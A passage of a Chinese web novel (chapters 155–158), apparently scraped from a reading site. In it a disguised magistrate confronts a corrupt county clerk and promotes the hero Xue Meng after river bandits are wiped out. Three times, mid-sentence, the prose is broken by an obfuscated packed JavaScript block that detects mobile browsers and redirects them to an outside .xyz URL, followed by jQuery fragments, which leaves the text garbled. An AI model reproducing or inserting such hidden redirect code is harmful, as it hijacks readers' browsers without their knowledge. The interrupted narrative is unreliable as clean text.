只要让罗飞他们伪装成水匪,凭此腰牌和水道图,就可以顺利将货物运出蜀郡了!
“夜小姐,你可真是替我解决了一大难题!”
“说吧,要我怎么谢你!”
薛猛很高兴收下了夜含香的“礼物”。
夜含香拿起书桌上的稿纸,津津有味看了起来。
“薛公子,雄才,奇才,鬼才,这些词已经不足以形容你的惊世才华了!”
“我不需要什么答谢。”
“如果非要谢的话,我希望,日后你能将我视为你的朋友,而非敌人!”
夜含香说话的同时,顺手就把《精瓶梅》稿纸收入怀中。
这么精彩刺激的东西,必须拿回去慢慢欣赏!
薛猛自然注意到了夜含香顺手牵羊的小动作。
不过,人家送了自己这么一份大礼,帮自己解决了大问题,区区《精瓶梅》,又算得了什么?
有了蜀郡十七县水道图,不仅可以把鱼胶、铁锅送出蜀郡。
还可以把布匹、药物、白酒等货物,运向蜀郡十七座县城,甚至是更远的地方。
薛家的商业版图,将迎来前所未有的扩张!
到那时,银子就像江湖里的水一样,哗啦啦往自己家里流!
还写啥破小说,画啥人体素描?
压根没必要!
第155章 假痴不癫,自污保身!
“这几封信是……”
送走夜含香后,薛猛回到书房,仔细查看起桌上的书信。
除了黑风岭响马和雷龙来往的书信外。
还有一些信,居然是任家、黄家、朱家、刘家的家主写给雷龙的。
信里对水匪的谄媚巴结之辞,看得薛猛热血直冲颅顶,肝胆欲裂!
“这些猪狗!”
“身为一村族老,乡绅地主,平时压榨乡民也就罢了,面对匪寇,竟然如此低三下四,不惜认贼作父,出卖村民,以求保全自己……”
信中内容,提及了每月给水匪上供,钱财、女人,一笔一笔写得清清楚楚。
不知多少家庭,因此妻离子散,家破人亡。
这些信,全是这些劣绅勾结水匪的罪证!
先前,以任家为首的这几家乡绅,阻止巡猎队到其他村子招人,已经与薛猛结下梁子。
薛猛并没有和他们计较,只是觉得他们鼠目寸光,不屑与他们为伍。
但现在,看到这些信,足见这些老猪狗,并非鼠目寸光那么简单,他们敢勾结水匪,等黑风岭响马到来,就敢投降黑风岭响马!
到那时,他们若是在背后搞些小动作,后果不堪设想!
而且,信上还提到,任家家主打算组织公举会,竞选白虎乡新亭长,还请雷龙也来参加公举会!
若是真让这老猪狗当了白虎乡亭长,白虎乡只怕是再无宁日!
“寇芳!”
薛猛虎目微眯,唤来寇芳。
“把这些信,连同水匪俘虏,一同押送县衙!”
“让茅仪秉公处置!”
“是!”
寇芳从薛猛手中接过信件,领命离去。
薛猛取下墙上挂着的警恶刀,拇指一顶刀锷。
锵一声,雪亮刀身弹出。
其上映照出一双杀意交织的虎目。
“翠儿,备马!去临水村!”
他决定亲自去公举会现场,会会以任家为首的这几条老狗!
让他们明白,谁才是白虎乡真正的话事人!
……
洪雅县。
玉香楼。
曾经门庭若市,让诸多客人趋之若鹜的洪雅县第一大青楼,此时门前却立着谢绝接客的牌子!
并且还有两名腰佩制式长刀,身穿皂衣的县衙差役,守在门口,不许其他客人入内。
这反差的一幕,引得路人私底下议论纷纷。
“这新上任的县太爷真是太不像话了,整日泡在这青楼里寻花问柳,还把整个青楼都包了,不许别人进去!”
“亏他还是洪雅县第一才子呢,怎么现在成了这样的人!!”
“人呐,当上了官,就得意忘形了!”
“这年头,哪里还有什么清官!当官不就图升官发财,花天酒地吗?”
“哎,世风日下啊!”
“……”
玉香楼,二楼。
花魁闺房内。
茅仪胡子拉碴,不修边幅,身上的青袍沾满酒渍。
和先前儒雅的文人形象,判若两人。
自茅仪接任洪雅县知县以来,就没正经上过衙门公堂。
终日泡在这玉香楼。
满县人都在背后戳茅仪的脊梁骨,说他是个痴迷酒色的昏庸之徒,枉为洪雅县第一才子!
就连昔日与茅仪交厚的那些文人公子,都纷纷耻于和他来往。
公然写诗讽刺他表里不一,做了官得意忘形,与他断交!
就连茅家老爷子,都以为自己这个儿子废了,不准他跨入家门!
接任知县不足一月,茅仪已是声名扫地。
从人人称赞的“大才子”,沦为洪雅县有史以来,最荒淫无道的知县!
以往虽然也有知县,偶尔偷偷到青楼取乐,但还从来没见过像茅仪这样,直接把青楼包了的!
甚至,有那好事者,给茅仪取了外号,叫做“茅驴儿”。
意指茅仪像驴一样,整天就只想着干那事儿!
玉香楼花魁**香,轻扶琴弦,抬眸望向端坐在案前的茅仪。
案前的文书、呈文、鱼鳞册,堆积如山。
茅仪仔细翻看着每一封呈文,并认真做着勾画批注。
虽然满身酒气,胡子拉碴,不修边幅,眼中血丝交织,但绝非纵欲虚浮所致。
相反,全是因为殚精竭虑,忙于处理政务,没有时间休息所致。
**香知道,茅仪并没有坊间传言的那般不堪!
茅仪虽然包了玉香楼,但却从未碰过楼里任何一个姑娘,就连面对她这样的大美人儿,茅仪也从未有过出格之举。
而是将这烟花巷陌变作了办公场所,每日埋头于公文之中。
“知县相公,你已经三日不曾出门走动了。”
琴声戛然而止,**香起身来到茅仪身前,眸中流露出一丝心疼:“再这样下去,会把身子拖垮的,还是先歇一歇吧。”
“无妨!你若弹琴累了,就下去歇息吧!不用管我!”
茅仪头也不抬,刚放下一封兵房县尉汇报的呈文,又拿起吏房书吏呈上的帖子。
**香柳眉轻蹙,手指绕着云鬓秀发。
实在想不通,茅仪明明是一个勤政廉明的好官,何苦要这样自毁声名?
身为一县花魁,以往她也接待过不少官吏,但像茅仪这么奇怪的知县,她还是平生仅见。
“知县相公,你可知道,坊间百姓,都在背地里骂你…”
“说你终日痴迷酒色,不理政事,是洪雅县历来最荒淫无道的昏官!”
“还给你取外号,叫你‘茅驴儿’!”
茅仪闻言,不怒反笑:“那可太好了!”
“
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16336789|182921||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
好?”
**香眉梢高挑。
心说这知县相公,莫不是疯了不成?
背负着千夫所指的骂名,跑到青楼来处理政务,图什么?
“你不懂,他们越骂我,我就越安全!”
茅仪意味深长地笑了笑,不再和**香多说:“好啦,你下去歇息吧!”
“哦对了,替我去衙门,把吏房梁书办和县尉赵杰叫过来!”
说完,茅仪取出银两,递给**香,作为跑腿的报酬。
“奴家替你去叫便是,银子我可不要,你又不曾对我做过什么!”
留下这句话,**香打开房门,扭着细腰离去。
藏身于房门后的郑灵均,默默目送**香下楼,不由得叹了口气。
薛贤侄这假痴不癫,自污保身之计,虽然管用,但却苦了茅公子了!
茅仪接任洪雅县知县,乃是临危受命。
前任知县被刺杀,墙上留下“今日做知县,明日把命丧”的血字威胁!
因此茅仪离开卧虎村之际,曾向薛猛问计,如何自保。
薛猛告诉他的计策,就是让他接任知县后,伪装成一个痴迷酒色,不理政事的荒淫无道之徒。
薛猛推测,黑风岭派刺客刺杀知县,其目的无非就是为了制造恐慌,为攻打县城造势!
茅仪若是和之前的知县一样,正常上任,定然会遭到刺杀!
而若是自毁声名,表现得荒淫无道,黑风岭就会觉得没有刺杀的必要了!
他们会觉得,留着茅仪这个“昏官”,反而更能让洪雅县乱成一锅粥!
事实证明,薛猛这个计策十分管用,茅仪自回到洪雅县后,的确没有遭**杀。
但如此一来,茅仪的名声算是彻底臭了。
郑灵均看在眼里,不由惋叹!
茅仪自己,却是并不觉得委屈。
薛猛曾经告诉过他一句话。
横眉冷对千夫指,俯首甘为孺子牛!
一时低头弯腰蒙尘,遭受非议谩骂羞辱,并不算什么!
只要砥砺初心,坚守真理和正义,默默耕耘,弃虚名,办实事儿!
终有一日,时间会将真相推出水面!
老百姓自然会看清楚,谁是奸佞,谁是清官!
“兵房县尉赵杰……”
“吏房书办梁咏……”
“见过县尊!”
不多时,一高一矮两道身影,快步走进房间,双手垂在胸前,异口同声向茅仪拱手行礼。
“二位,不必拘礼!直接说事吧!”
茅仪拿起兵房呈文,对左边黑袍皂靴的高个壮汉,开口问道:“赵县尉,前日你在呈文里奏报,我县城墙年久失修,难以抵御响马侵袭。”
“我不是已经让账房拨款,让你募集民壮修补城墙了吗?怎么今日又上一封呈文?”
第156章 白虎乡新亭长
“县尊容禀,前日我已命各乡亭长,募集民壮修补城墙,但眼下,各乡青壮,大都被抓去给圣上修运河和行宫了!”
赵杰回道:“还有的乡民,听说黑风岭响马即将攻打洪雅县,早就吓得撇下孤儿寡母,逃难去了!”
“全县十个乡,如今连三百青壮都凑不齐!”
“咱们连县狱里的囚犯都用上了,但……不仅要修补城墙,还要招募乡勇守城,人根本不够用!”
茅仪眉头紧锁,薄唇轻抿,指节轻叩书案。
思忖片刻,铺开信纸,提笔疾书,写成一封申文,用了官印。
吹干墨迹,装入信封,交给赵杰。
“赵县尉,你立即派人,将这封申文送往蜀郡郡府,交由郡守大人亲启!”
“事到如今,只能请求郡守下令,从外县调集民壮支援我县。”
“这封申文至关重要,务必要派精明强干、忠诚可靠的马快护送,切莫像前几次那样,派出去便一去不返!”
洪雅县面临的困境,茅仪十分清楚。
因此他多次修书,派人送往蜀郡请援。
但无一例外,派出去送信的马快,全都没有回来。
不知是跑了,还是半道上被响马截杀了。
总之,书信肯定没有送到蜀郡郡守手里。
若这次,还不能与蜀郡取得联系,洪雅县便会落入孤立无援的窘境!
“县尊吩咐,属下这就去办!”
赵杰双手接过信封,但声音里透着几分无奈苦涩,显然也没什么底气。
目送赵杰带着申文转身离去后,茅仪拿起一封举荐贴。
翻了翻,这才抬眸看向眼前矮小干瘦,低眉顺眼的吏房书吏梁咏。
“梁书办,你这帖子上,举荐临水村任丰年为白虎乡亭长?这任丰年,是何许人也?原来的白虎乡亭长,不是方田吗?”
梁咏回道:“县尊容禀,白虎乡原亭长方田已于日前被白虎乡各村乡绅、族老,联名**,自请罢官。”
“据乡民们举报,方田任亭长时,白虎乡周边,匪患猖獗,还时常发生外地流民拦路劫道之事,极不太平,赋税也时常交不齐。”
“此外,白虎乡李庄惨遭血洗一事,也迟迟未能查明真相……”
“这方田,似乎还与卧虎村劣绅薛家薛猛,有着不可告人的秘密!”
茅仪心头一沉。
卧虎村……薛家……
薛猛……
劣绅?!
这几个词凑在一起,让茅仪感到极其陌生。
他可是在卧虎村生活过一段时间的,薛猛是什么人,他一清二楚!
薛猛要是劣绅,天底下怕是没有好人了!
梁咏并没有察觉茅仪的微妙情绪,自顾自说道:“白虎乡急需任命新的亭长,招募乡勇,组织团练,掌治安,催赋税,调停**,缉捕贼盗,安置流民。”
“而临水村任丰年,乃临水村大族任家家主,其人正值壮年,德高望重,平日多行善事,不图回报!”
“在临水村,乃至于整个白虎乡,都颇受拥戴,享有盛名!”
“任丰年颇有家资,视金钱如粪土,任命他为亭长,必然清明廉正,绝不会像方田那样勾结劣绅薛家,收**赂,鱼肉乡民,中饱私囊!”
梁咏口若悬河,说得天花乱坠。
若不是茅仪在白虎乡待过,说不定还真被他说动了。
若是这任丰年,真有梁咏说的那么德高望重,乐善好施,为何先前自己在卧虎村时,从来未曾听说过此人的名号?
反倒是薛猛,这样一个白虎乡乡民公认的大英雄,活菩萨,到了梁咏这,却是一口一个劣绅……
不知道的,还以为薛猛是什么大奸大恶之徒呢!
“梁书办,你似乎对这白虎乡薛家薛猛,意见很大啊?”
茅仪强忍心中怒火,面上不痛不痒地问道:“这薛猛,莫不是与你有何过节?”
梁咏矢口否认:“没有!我不曾见过这薛猛,只是……”
只是任丰年给得实在太多了,让他在县尊面前,多说说任家的好话,顺便打压一下薛猛,最好是借衙门之手,抄了薛家!
至于为什么任家要打压薛猛,梁咏也懒得去了解。
当了这么多年吏房书吏,乡绅之间,争名夺利,互相诋毁的事情,他早就见惯不怪了。
谁给钱多,他就替谁说话!
不然家里十几房小妾,哪有钱养啊?
“只是什么?”
茅仪见他欲言又止,挑眉问道。
“只是薛猛臭名远扬,我早有耳闻!”
所谓衙门刀笔吏,笔如刀,口如刃,张口就能**!
梁咏低眉拱手,信口开河,直接把素未谋面的薛猛,贬低得一无是处。
“这薛猛,欺男霸女,横行乡里,目无王法,作恶多端!”
“李庄被血洗之后,薛家便随之发迹!”
“并且有人见过,李庄的两名丫鬟,现在也在薛家……”
“足见李庄惨遭血洗之事,与那薛猛有着千丝万缕的联系!”
“此外,薛猛还炮制假药,导致不少村民服药后致死!生产诸多伪劣产品,强买强卖,暴力敛财,搅乱市场!”
“县尊,请您即刻任命任丰年,为白虎乡新任亭长!”
“并下令派巡检特差官郑大人,即刻前往卧虎村,查抄薛家,为民除害!”
说完,梁咏抬眼偷瞄一眼。
书案后,茅仪脸色铁青,薄唇颤抖,眼底充斥怒色。
梁咏嘴角微扬,心中暗笑。
解元郎又如何?
还不是被本书办三言两语糊弄过去!
瞧瞧,脸都气得发青了!
薛家这次算是栽了。
“梁书办,你说得对,白虎乡确实乱象丛生,是该任命一个能够掌事的新亭长了!”
茅仪气极反笑,提笔写下任书,交给梁咏。
“梁书办,你即刻派人,将这任书发往白虎乡,公示乡民吧!”
“县尊英明!”
梁咏双手接过任书,笑得合不拢嘴。
但还没等他高兴多久,不经意瞥见任书的内容,脸上的笑容顿时僵住了。
“今着本县白虎乡卧虎村村民薛猛,为白虎乡亭亭长。”
“其职责有五:”
“一曰治安,缉捕盗贼,惩治奸邪!”
“二曰亭驿,传递公文,交接公务!”
“三曰民役,催缴赋税,督促生育,安置流民,征调民夫!”
“四曰调停,亭内民争,小事自断,赏善罚恶!”
“五曰守障,募集乡勇,组织团练,防备寇盗,守卫乡亭!”
“本任书即日生效,付白虎乡亭亭长薛猛收执,凭此履职,不得更易!”
梁咏双目圆瞪,愣在了原地。
只觉这薄薄的一纸任书,比任丰年派人送来的三百两白银,还要压手。
一时不知该如何是好!
“县尊,您是不是弄错了。”
梁咏知道茅仪写错名字的可能性极小,但他还是不敢置信。
茅仪居然会任命薛猛,担任白虎乡新任亭长!
梁咏快步走到书案前,翻开厚重的鱼鳞册,一直翻到白虎乡。
指着临水村任家的户籍信息,对茅仪说道:“小人举荐的是临水村任丰年!”
“不是卧虎村薛猛!”
梁咏声音突兀拔高。
“没弄错。”
茅仪却是目光笃定,骈指轻点卧虎村薛猛的户籍信息。
“你梁书办举荐临水村任丰年,关本县任命卧虎村薛猛什么事?”
“这……”
任凭梁咏巧舌如簧,却也是被茅仪这番话呛住了。
“县尊大人,不妥啊!”
梁咏仔细看了眼薛猛的户籍信息,眼前一亮,“你看
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16343387|182921||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
这户籍上写明,这薛猛乃是猎户出身,年仅十九岁!”
“有何不妥?”茅仪问道。
梁咏仿佛抓住了薛猛的把柄,声音高亢了几分:“县尊,你久在城中,不知乡野僻邑之事,那些山民刁着呢!”
“像薛猛这样的出身和年纪,恐怕难以服众!”
“大虞律法规定,担当亭长之人,岁数需在二十到五十之间。”
“家中丁多、财厚,有勇有谋有德行,处事公正,能服众!”
“否则,无论是招募乡勇,组织团练,维持治安,催缴赋税,调停**,都很难让乡民信服!”
“更别提缉捕贼盗,守卫乡亭了……”
“这薛猛,一个十九岁的小年轻,只怕**都没长齐,懂什么战阵守卫之事?”
“此人,断然做不得白虎乡亭长!”
“放屁!”
不等梁咏说完,只听砰的一声,巴掌重重拍落,震得书案上堆积的文书跌落在地。
茅仪豁然起身,狭长双眼微眯,所剩无几的涵养和耐性,已被胸中怒火焚烧殆尽。
一向儒雅的他,罕见地爆了粗口!
再也不想继续听梁咏在这里颠倒是非黑白,鬼话连篇,诋毁薛猛!
“你这厮,先前还说薛猛作恶多端,欺男霸女,现在却又说薛猛太年轻,难以服众!”
“简直就是酆都城拉二胡——鬼扯!”
梁咏怔住,瞳孔骤缩,不知茅仪为何突然发怒。
“本县在上任之前,就听人说你梁书办,笔如刀,口如刃,是非曲直全凭金银秤!”
“今日,本县算是见识到你的厉害了!”
“不过,本县要忠告你一句!”
“有些脏钱,挣多了,可得当心没命花呀!”
茅仪绕至梁咏身前,冷冷扫了他一眼。
最后一句话声音不大,却像**的铡刀,轰然铡落而下。
梁咏心头一沉。
短短瞬间,后背浅青绢衣已被冷汗湿透。
“小人…不明白县尊何意。”
但梁咏不愧是混迹官场的老油条,很快便镇定下来,摆出一副十分公允的态度。
“县尊,小人举荐临水村任丰年,也是秉公办事,为民**!”
“白虎乡薛猛,不仅年纪轻,且出身低贱,为人劣迹颇多,其突然暴富,钱财来历不明,绝非善类!”
“县尊若是弃任丰年这样的乡贤不用,反而让薛猛这样的贱民劣绅做一乡亭长,恐怕有失偏颇,且不符合大虞法例,也是让百姓寒心……”
“此事可大可小,若是让郡里知晓,恐对县尊大人仕途不利!”
茅仪冷冷盯着梁咏,暗自切齿,这厮看似低眉顺眼,语气恭顺,实则话中暗藏威胁之意!
铁打的县吏,流水的知县。
知县任期三年,到期就走,很难迅速形成自己的势力。
而县吏虽不是正式的大虞官员,不入品级,但却是**传承的铁饭碗。
县衙里吏、户、礼、兵、刑、工六房书吏,吏房排第一。
梁咏祖上三代为吏房书吏,掌管全县吏员任免、考核、履历档案之事。
私底下不知道和多少士绅豪强有利益瓜葛。
茅仪刚刚上任不久,在衙门扎根未稳。
虽是知县,明面上是一县之尊,但有时候说话,可能还未必比得上这些资历老辣的县吏管用!
梁咏有一点没说错,薛猛的确未满二十岁,按照大虞律例,确实做不得亭长!
除非,有特殊功绩在身,方可破格提拔……
“报!”
茅仪和梁咏四目相对,目光交锋,正自僵持不下,一名差役快步跑了进来。
单膝跪地,拱手禀报。
“启禀县尊!卧虎村薛猛,剿灭青龙峡水匪!”
“俘虏百人!”
“如今已下入县狱,请县尊升堂发落!”
第157章 公堂博弈
“什么?!”
梁咏声音陡然拔高。
“青龙峡水匪被剿灭了?”
“不可能!”
“绝对不可能!”
十多年来,青龙峡水匪一直都是洪雅县历代知县的心腹大患。
不同于老鸦坎这类小股山匪。
青龙峡水匪人数众多,且依托囚龙岛地形优势,建造了水上堡垒。
战船百只,辖制水道,易守难攻。
前几任知县在位时,屡次派兵征剿,无不是损兵折将,铩羽而归。
薛猛区区一个猎户出身的贱民,何德何能,能够剿灭水匪?
梁咏瞪了差役一眼:“你这厮,怎敢谎报军情?”
“梁大人,小人不敢!上百水匪俘虏已下入县狱,此事千真万确!”
“匪首雷龙、雷鹏的首级,已交由仵作验明正身,只等县尊升堂发落!”
差役埋着头,语气笃定,拱手回道。
什么?
连雷龙的首级都送来了?
如此说来,青龙峡水匪,真的被剿灭了?
梁咏心头一震,双目失神。
“哈哈哈!”
茅仪却是开怀大笑,喜上眉梢,袍袖一甩!
“剿灭水匪,奇功一件!”
“未满二十怎么了?正是英雄出少年!薛公子这样的贤能,莫说是任命白虎乡亭长!”
“就是破格提拔他到本县,做个督盗官,也是绰绰有余!”
“备马!本县即刻回衙升堂,处置水匪!”
“是!”
差役领命,陪同茅仪出门而去。
眼睁睁看着茅仪离去,梁咏暗自咬牙,却又无力反驳。
依照大虞律例,剿匪有功者,即便未满二十岁,亦可酌情破格任命为亭长!
“嘿呀!”
梁咏砸手踱步,急得团团转:“这可如何是好?”
收了任丰年三百两银子,答应帮他拿下白虎乡乡亭的位置,事后还有五百两银子可拿,今后每个月任家都会给他上供。
既可以多一条财路,又可以卖乡绅人情,壮大自己的势力,何乐而不为呢?
以往这种事情,他没少干!
本以为是手拿把掐之事,现在可倒好,半路杀出个薛猛!
“不对!这茅仪……难不成和这薛猛早就认识?”
梁咏眉头一皱,越想越不对劲。
茅仪刚才对薛猛的称呼是“薛公子”,这称呼,显然关系不一般啊!
如此说来,他提拔薛猛为白虎乡亭长,是想借此培植自己的党羽?
“不行!绝对不行!”
事到如今,梁咏已经不在乎任丰年那击几百两银子了。
无论如何,他都绝对不能让茅仪提拔薛猛做白虎乡亭长!
若是让知县在县里形成了自己的势力,他们这些书吏,以后还怎么拿捏知县,中饱私囊?
“好你个茅仪!毛头小子一个,还真把自己当县太爷了?”
“你不仁,可就别怪我不义!”
“今日便让你看看,洪雅县衙门,到底谁说了算!”
梁咏眼底寒芒一闪,心一横,连忙向县衙赶去。
……
洪雅县衙,公堂门外。
人头攒动,挤满了前来瞧稀奇的百姓。
“听说了吗?茅知县要升堂了!”
“嘿哟喂!这可真是太阳打西边出来了,茅驴儿不在青楼花天酒地,居然想起来升堂了?”
“这得出多大的事啊?”
“低声些!不要命啦?!”
“……”
衙役立于堂前,拖长嗓音,高喝一声。
“升堂——”
咚咚咚!
分列堂门内的两班皂隶,手持水火棍,快速触击地面,发出整齐声响。
茅仪头戴乌纱帽,身着石青色官服,腰系乌角带。
迈着四方步,缓缓从后堂步出,于公案后端身落坐。
“啪!”
惊堂木一响,满堂肃静。
茅仪不怒自威。
“青龙峡水匪,横行我县水域,劫掠过往行商,造下血案无数!”
“其贼首雷龙、雷鹏,悬赏多时,一直未能缉拿归案!本县前几任知县相公,屡次派兵征剿,无不是铩羽而归!”
“如今有卧虎村村民薛猛,有勇有谋,率领村民,剿灭青龙峡水匪,斩下匪首首级,并俘虏百人!堪称奇功一件!”
“本县决定,任命薛猛为白虎乡亭长,准其修建堡垒,自募乡勇,组织团练,维持地方治安,守卫乡亭!”
轰!
茅仪话音刚落,满堂哗然!
围观百姓瞪大眼睛,面面相觑,震惊不已。
“啥?我没听错吧,青龙峡水匪被剿灭了?”
“难怪茅知县今天舍得升堂了,剿灭水匪,这可是大事啊!”
“以后乘船就不用担心被劫掠了!
“不过,这薛猛是何许人也?”
“竟然有剿灭青龙峡水匪的能耐?”
“……”
“闪开!全都闪开!”
就在这时,梁咏带着一群吏房衙役,推开人群,就要往公堂里闯。
见有人擅闯公堂,堂内皂隶本想上前阻拦,但看清来人是梁咏,纷纷目露忌惮,退了回去。
见梁咏来势汹汹,茅仪低眉沉喝:“梁书办,本县已经升堂,不曾唤你过来!”
“你带着这么多人,擅闯公堂,是何道理?”
“来人,给我将这厮打将出去!”
“我看谁敢?!”
梁咏个子瘦小,架子却大得吓人。
只听他一声大喝,满堂皂隶,无人敢动。
“茅仪!老子叫你一声县尊,是给你面子!”
“你也不打听打听,以往那些知县,到本县上任,哪个不是对我们这些书吏客客气气的?”
“你才在这个位子上坐几天呐?”
“少跟我耍县太爷的脾气!”
梁咏蹬鼻子上脸,全然不把茅仪放在眼里:“我梁家自我爷爷辈儿起,便是吏房书吏!”
“我经历过的事儿,比你吃的盐还多!”
“青龙峡水匪,历来猖獗,连本县官军都奈何不得!”
“那卧虎村薛猛,不过是一个猎户出身,带着几个泥腿子,就能剿灭水匪?”
“简直是鬼话连篇,三岁小孩儿都不相信!”
梁咏身后的一群衙役和书吏,纷纷帮腔
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16343388|182921||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
道:“没错!梁书办所言在理!”
“这明摆着就是那卧虎村薛猛,滥杀流民,冒充水匪,谎报战功,企图以此谋夺白虎乡亭长之位!”
“茅仪!你听见了吧!”
梁咏双手抄在袖子里,冲茅仪扬了扬下巴:“亏你还是知县,连这点小伎俩都看不出来?”
“我看,你这知县也当不了几天了!”
啪一声,茅仪重重拍响惊堂木,勃然大怒:“大胆!我是官,你是吏,你竟敢对我这般说话?是想**不成?”
“来人,给我将这厮拿下,痛打三十大板!”
“……”
满堂皂隶你看看我,我看看你,全都选择视而不见,不为所动。
知县任期三年,时间一到,拍拍屁股就走人,谓之“过江龙”!
而书吏,那可是衙门里的“坐地虎”。
为了过江龙,得罪坐地虎,犯不着!
“你们都瞎了还是聋了,都愣着做什么,动手啊!”
茅仪环视皂隶,惊怒呵斥。
一旁,主簿林显见状,凑近茅仪耳边,低声提醒道:“县太爷,梁家三代为吏,在本县颇有威望,衙门里的衙役和书吏,大都跟他沆瀣一气。”
“小卒子们也只是混口饭吃,哪里敢得罪梁书办?”
“再者说,梁书办说得也有道理,那薛猛,不过只是个猎户,怎么可能有剿灭青龙峡水匪的本事?”
“此事多有蹊跷,还需派人到白虎乡,仔细详查核实,以防薛家弄虚作假,谎报战功!”
“这种杀流民冒充匪寇,谎报邀功之事,以前也不是没有劣绅干过!”
茅仪闻言,暗自切齿,如鲠在喉!
没想到啊没想到……
自己堂堂一个知县,竟然还要看一个书吏的脸色?
这县衙,真是烂透了!
难怪把整个洪雅县,弄得乌烟瘴气!
为吏者,不替老百姓干实事,整日只想着拉帮结派,排除异己。
这样的衙门,能好才叫见鬼!
扫了眼堂下立着的梁咏,四目相对间,茅仪注意到梁咏眼底的得意之色,瞬间回过味来!
这梁咏,分明是在故意挑战自己的权威!
今日当着满堂文武,自己若是败下阵来,以后恐怕就会和前几任知县一样,沦为六房书吏手中的提线傀儡,形同摆设!
“传本县巡检特差官郑灵均郑大人,让他即刻前去白虎乡核实情况,青龙峡水匪到底有没有被剿灭!”
茅仪话音刚落,一声洪喝便自堂外响起。
“不必查了!”
围观百姓自觉让开,扭头看去。
一个满脸威仪的虬髯大汉,端着一个红布盖住的托盘,在众目睽睽之下,步伐稳健,迈入公堂。
身边还跟着本县仵作和一个身形纤细的黑衣姑娘。
“郑大人,你来得正好!”
茅仪见到郑灵均,心里顿时有了底气:“你手中是何物?”
“县尊请看!”
郑灵均一把揭开托盘上盖住的红布。
嘶!
红布下掩盖住的东西,看得满堂文武,瞳孔骤缩,倒抽凉气!
第158章 任家公举宴
托盘之上,赫然摆着两个人头!
双目圆睁,神情狰狞,满面匪气!
郑灵均将托盘放下,冲身旁刑房仵作使了个眼色。
仵作会意,取出通缉画像。
展开之后,向茅仪拱手:“县尊容禀!这两个人头,今已由本县刑房,验明正身,身份确凿!”
“正是本县通缉悬赏多时的青龙峡水匪贼首——”
“雷龙、雷鹏!”
“此外,卧虎村村民寇芳,送来数百枚水匪腰牌!”
“经过刑房核查,并无作伪痕迹!足可证明青龙峡水匪身份!”
茅仪闻言大喜,看向立于郑灵均身侧的寇芳:“哦?快呈上来!”
寇芳手一挥,门外等候多时的巡猎队队员,抬着一箱从水匪手上收刮下来的腰牌,步入公堂。
咚!
箱子落地,发出闷响,分量感十足。
“好!好哇!”
茅仪大袖一挥,激动道:“林主簿,赶快清点水匪腰牌,登记入册,按律给卧虎村村民,兑现悬赏赏银!”
“是……”
林主簿眸光一颤。
连忙带着衙役上前,清点腰牌,登记入册。
数着数着,林主簿的手忍不住发起抖来。
“水匪大寨主雷龙,验明正身,赏银三百两!”
“水匪二寨主雷鹏,验明正身,赏银二百两!”
“水匪头领王洪,验明正身,赏银七十两!”
“水匪头领胡涛,验明正身,赏银五十两!”
“……”
“其余水匪喽啰,赏银各五两!”
“卧虎村薛猛率领村民,斩杀水匪大小头领十五名,匪兵四百名,俘虏一百名。”
“共计赏银……”
林主簿喉头滚动,咽下一口唾沫,声音陡然拔高:“共计赏银,三千六百七十两!”
“什么?!”
听闻此言,梁咏双目失神,不敢相信自己的耳朵。
门外围观百姓,全都屏住了呼吸。
“我滴个亲娘!这么多赏银?发财了啊!杀水匪也太赚钱了吧!”
也不知是谁扯着嗓子怪叫一声,人群顿时炸开了锅。
“笑话!你以为这钱,那么好赚?”
“你行你也上啊!真遇上水匪,**的还不知道是谁呢!”
“以前那些官军,不就是想赚这赏银吗?结果把命全丢在青龙峡了!”
“害,我哪敢杀水匪,这不就是过过嘴瘾嘛?!”
“同样都是老百姓,为啥这卧虎村的村民,这么生猛?”
“薛猛这名字取得好啊,真猛啊!”
“……”
“肃静!”
茅仪一拍惊堂木。
公堂之上顿时鸦雀无声。
“梁咏!如今匪首首级、水匪腰牌,呈于公堂之上,这些东西可做不得假!”
茅仪目光一寒,冷冷扫向慌神的梁咏:“你还认为,薛猛是谎报战功吗?”
铁证如山!
证据确凿!
纵然梁咏再怎么巧舌如簧,也无法推翻薛猛剿灭青龙峡水匪的事实!
梁咏愣在原地,怔怔出神,额角冷汗直冒,心里比吃了苍蝇还难受。
这卧虎村薛猛,到底是什么牲口?
竟然真的把青龙峡水匪给灭了?!
他凭什么啊?!
“哼!我无话可讲!你爱怎么办,怎么办啊!”
梁咏一咬牙,袍袖一甩,转身便要离去。
“站住!”
刚迈开步子,梁咏顿觉自己肩上好似压了一座山下来,压得他不能动弹。
僵硬地扭过脖子,看向摁住自己肩膀的郑灵均,诧异挑眉:“郑巡检,你想干什么?”
郑灵均目光森冷,沉哼一声:“梁书办!你身为本县书吏,目无王法,藐视公堂,屡次对县尊不敬……”
“那又如何?”
